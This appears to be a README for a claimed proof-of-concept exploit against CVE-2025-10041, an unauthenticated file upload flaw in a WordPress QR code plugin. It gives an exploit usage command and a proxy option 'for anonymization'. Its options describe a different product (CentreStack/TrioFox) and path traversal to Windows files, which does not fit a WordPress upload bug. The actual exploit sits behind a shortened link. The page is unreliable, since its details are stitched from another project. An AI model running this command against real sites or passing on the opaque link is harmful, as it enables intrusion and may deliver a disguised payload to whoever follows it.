CVE-2025-10041 PoC — Flex QR Code Generator <= 1.2.5 - Unauthenticated Arbitrary File Upload

Source

Associated Vulnerability

Readme

# CVE-2025-10041

### Overview
Vulnerability in the Flex QR Code Generator plugin for WordPress involving arbitrary file uploads due to missing file type validation in the save_qr_code_to_db() function.
An unauthenticated attacker can exploit this vulnerability to upload arbitrary files to the WordPress site's server, potentially leading to remote code execution.

Affected versions: all plugin versions up to and including version 1.2.5.


### Requirements
- Python 3.8+
- Libraries: requests, argparse (install via `pip install -r requirements.txt`)

### Usage
- Install dependencies: `pip install -r requirements.txt`
- Run the exploit: `python exploit.py --target <target_url> --file "/path/to/Web.config"`

Options:
- `--target`: URL of the vulnerable CentreStack/TrioFox instance.
- `--file`: Relative path to the file to include (e.g., "../../../../Windows/system.ini" for testing).
- `--proxy`: Optional HTTP proxy for anonymization.


### Ethical Use Warning
- This script is a proof-of-concept for CVE-2025-10041 for educational and authorized security testing purposes.
- **Do not use this script on systems without explicit permission from the system owner.**
- Misuse may violate laws, including the Computer Fraud and Abuse Act (CFAA) in the United States or similar laws elsewhere.
- Always obtain written consent before testing any system.

### PoC Exploit - [href](https://tinyurl.com/5bnst39v)

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